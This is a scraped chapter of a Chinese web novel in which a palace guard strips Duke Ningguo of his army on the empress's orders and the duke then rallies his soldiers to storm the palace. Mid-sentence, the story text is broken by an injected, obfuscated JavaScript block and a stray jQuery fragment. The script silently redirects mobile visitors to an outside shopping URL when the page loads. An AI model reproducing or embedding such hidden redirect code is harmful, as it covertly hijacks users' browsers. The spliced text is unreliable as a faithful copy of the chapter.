111. 谋反
作品:《诛杀穿越者》 柳靖和易记明要去紫兰殿审问宫人,汤药里面有什么药材,陛下还在昏迷,现在时间就是最宝贵的。
他们二人绕过杜书音,往身后的拱门走去。
杜书音抬眸目送他们离开,易记明走在柳靖的身后,以往的马尾都会随着他走动轻轻摇摆,这次像是被胶水黏住一般,没有一丝晃动的迹象。
他突然没有任何预兆地转身,掉头往杜书音这边走来。
见易记明停在自己面前,以为他有什么东西忘记了,杜书音问道:“怎么了?”她声音轻轻的,像是一阵风,飘入耳朵里,想仔细再听听,却又什么都不见了。
易记明俯下身静静地注视着她,他眼睛里黑色的瞳孔一动不动,加上他冷冽的脸看起来十分严肃。
他抬手握紧杜书音两边的肩膀,微微用力捏了捏,手下那处的皮肉没了血色。
他的双眸与杜书音平视,眼中是从来没有见过的谨慎和严肃,“这几日宫中不安全,你一定要跟好皇后,千万不要乱走。”
很少见他这么严肃。
杜书音心中并不觉得现在是很严重的情况,只是陛下生病了,朝政还有皇后管理,一个国家不会突然乱掉的。可她见易记明这副模样,心里也微微发毛,渐渐起疑。
“很严重吗?”她不由问出口。
易记明见她双眼中的目光犹如稚子一般天真,便知道她还没有意识到现在局面紧张。他双手不禁用力,抓得杜书音忍不住“嘶”了一声,听到声音他这才反应过来,松开了手。
生怕杜书音不长记性,他加重语气道:“很严重,记住我的话。”
杜书音点点头,面容平静道:“记住了,我会一直待在皇后身边的。”
“好。”
“我说你怎么不见了,原来是偷偷溜回来说悄悄话。”柳靖出现在一道拱门下面,远远地望着杜书音这边,口中的话虽然是对易记明说的,但他的目光始终落在杜书音的脸上。
易记明回头扫了一眼拱门处的柳靖,临走时又补了一句,“无论发生什么,都要记住我说的话。”
杜书音见他要走,在他身后小声道:“放心吧。”
看着他疾步离开,脑后的马尾在不断拍打后肩,这个画面总是出现在杜书音的梦里,原来是因为平日看得太多了吗?
平日里总是看着他的背影,难怪总是在梦里看不清他正脸的模样。
身侧一声轻响,紫宸殿的大门从里面被推开。
“进来。”开门的人是皇后。
“是。”杜书音闻声进去。
她跟在皇后身后,皇后径直坐到陛下的书桌上,桌上堆满了小山一样高的奏折,砚台上的墨水也快干了,支架的笔杆上多多少少沾上一些朱红色的墨水,这里像是许久无人打理了。
回头往侧殿一瞧,发现床榻边坐着一人,那人俯身正在给床上的陛下擦拭手掌,此人应当就是明亲王。
想起方才皇后交代给自己的差事,回禀道:“娘娘,秦宝林已经禁足,她降位的事情也已经通知六尚局了。”
“嗯。”皇后连眼睛都没抬一下,她低头捧着手里的奏折还在仔细翻看。她翻看东西的手掌有一瞬间的僵硬,突然停了下来,看向杜书音问道:“宁国公的军队陛下收回来了吗?”
杜书音摇摇头,“奴婢不知,朝政奴婢不懂。”
皇后双手按在桌上,俯身望向侧殿,问道:“承瑞,你知道吗?”
明亲王捻好被角,起身走到皇后身边,道:“儿臣没有听说过,父皇应当还没有收回宁国公手里的军权。”
“你去,”皇后指着杜书音,异常冷静,严肃道:“你把我的腰牌交给明朗,让他去宫外收了宁国公手里的军队,士兵全部归入陛下的军队中。”
“是。”杜书音领命退出紫宸殿。
等到杜书音找到易记明的时候,他正独自一人往紫宸殿方向赶过来。
“什么事?”他停下脚步,问道。
杜书音从腰间取下一直佩戴的皇后腰牌,递到易记明的面前,“娘娘让我把这个交给你。宁国公的兵权还没有收回来。”剩下的话,她没有说。
这个举动不必杜书音说得十分清楚,他便能懂,皇后此时收掉宁国公的军权,显然是忌惮他。
易记明接过她手里的腰牌,塞进怀里,那只手从怀里出来的时候,重新带出来一个亮亮的东西。
易记明将匕首递到杜书音面前,淡淡道:“防身。”
现在情况真的如此急迫,竟然需要用这个来防身了?杜书音不禁在心中问了一声。
她低头查看面前的这把匕首,同样是匕首,记忆瞬间回到上次的安县,想起上次有一人也送了她一个防身的匕首,只是被她弄丢了。
这把匕首通身漆黑,应是玄铁制作而成,剑鞘外似乎有奇异诡谲的花纹,因与匕身颜色相同,不仔细看根本看不清楚。
是一把与柳靖的匕首完全不同的风格。
易记明的耐心像是耗尽,他将手里的匕首又往前推了推,彻底举到杜书音的身前,只要伸手便能触碰到。
杜书音有些迟疑,她声音发紧,“我在皇后身边,这不合礼数吧,而且……”而且被发现,别人指不定怀疑自己有谋逆之心呢。
“娘娘认识我的东西。”易记明不再等杜书音的反应,直接将匕首塞到她的手里,接着她的手掌将她手里的匕首往她的方向推了推。
他言外之意,就是,有人发现也不要紧,娘娘看到这匕首,便会知道此物的主人是谁,不会怀疑她是否有谋逆的心思。
易记明临走之前,拍了拍杜书音的肩膀,叮嘱道:“回娘娘身边。”
杜书音回头去看他离开的背影,洋洋洒洒,一点都没有留念。她忽然想起他在方山洞穴里说的话,不知道现在还算不算数了。
城外驻扎军队。
一个个像鼓包一样的帐篷搭在城外空地上,军队在这里划出一个巨大的空地,留出中间的位置用来每日训练,周围全部扎满帐篷,有些留着休息,有些放着粮食。
易记明一骑烈马闯进来的时候,军营中还在操练。
圆形空地上站满了士兵,高台上站着几名将领和宁国公。易记明身后像是带着一道浓烟,他身后追着几名看守的士兵,在他身后一同闯了进来。
宁国公坐在位置上,听到声音才懒懒地掀起眼皮一瞧,发现来人后,将手里的东西重重往桌子上一掷,不知是桌子常年使用无人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102642|187145||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
更换质量不好,还是他的力气太大,震得整个桌子一起晃了几下。
“你不过是一个京城守卫,没有陛下的命令竟敢擅闯军营?你可知你犯的是死罪!”宁国公道。
易记明从怀里拿出皇后腰牌,举在空中远远对着宁国公,“我奉皇后之令,来取国公您的兵权。”
他又将手里的腰牌亮给场上其他人看,“所有人听令,皇后口谕,所有士兵挪到东军营!”
场上操练的士兵听到声音纷纷停下动作,他们不敢相信自己的耳朵,以为听错了,连忙向周围人又重新问了一遍,听到周围人的答复,这才明白自己没听错。
“我们就这么走了,将军怎么办?”
场下吵吵嚷嚷,谁也听不清是谁说了这么一句。
台上的宁国公脸色发黑,他双手抓紧椅子扶手,他力气很大,像是要将扶手徒手捏碎。他遥遥地看着易记明手里的令牌,确认无误,心中更恨。
他咬牙拿出怀里的虎符,拍在桌上,“军队虎符在这里。”
易记明翻身下马,连上两节台阶,走到宁国公身旁,见他目视前方,毫不理睬。他抓起桌上虎符塞入怀中,转而上马,对军营中将士道:“队正清点人数,即刻拔营!”
宁国公冷着脸,见军中将士统一列队清点人数,他忍无可忍般攥紧拳头,在桌上猛力敲击,撒手离去。
几个时辰后,军队清点完毕,士兵全部加入东营中,易记明回宫将腰牌还给皇后。一路平安顺遂,无事发生。
当夜子时,宁国公独自一人在城外空地上等待,不多时,从四面八方跑来十几名士兵和将领。
宁国公见大家过来,心中感慨,双目从每个人的脸上扫过,似乎要将每个人的脸都记在心里。
“将军白日里说的话我们都记着,逮到时间,我们大家伙就偷偷溜出来了。”其中一名士兵道。
“是啊,将军和我们一起戍边多年,本以为回京会有功赏,谁知道皇后竟然收去了将军的兵权,还将我们和陛下的军队合在一起,当我们是那群没上过战场的废物吗!”其中一名将军模样的人愤然。
“好!”宁国公见周围的人慷慨激昂,心中感动,他站出来说了几句,“既然大家今日愿意把性命交给我,我也不再隐瞒了!近日陛下病重垂危,皇后把持朝政,天家无情你们也看到了。我回京带上大家就是为了讨个功劳,既然陛下不给,那我们就自己拿!现在害怕的大可回去,我绝无二话!”他说完回头望了望周围,见旁边围着他的将士们无一人胆怯后退,方满意道:“这才是我带出来的军队!和我杀进皇宫,夺取帝位!”
有宁国公带头,周围几百号人瞬间响应号召,跟在宁国公身后一同往皇城方向去。
更深夜重,紫宸殿中守夜的宫人睡在地上,身下垫着一块软垫,而明亲王还坚持在陛下床榻前,一会惊醒查看陛下状况,一会因太累而垂下眼睫睡着。
皇后白日处理朝政,此时早已在蓬莱殿歇下,因她不放心,这才让杜书音留在紫宸殿照看这里。
殿内异常安静,杜书音能清晰地听到自己的呼吸声和脚步声,看着周围宽敞的宫殿,杜书音竟觉得有些恍惚了。
这里既陌生又觉得熟悉。

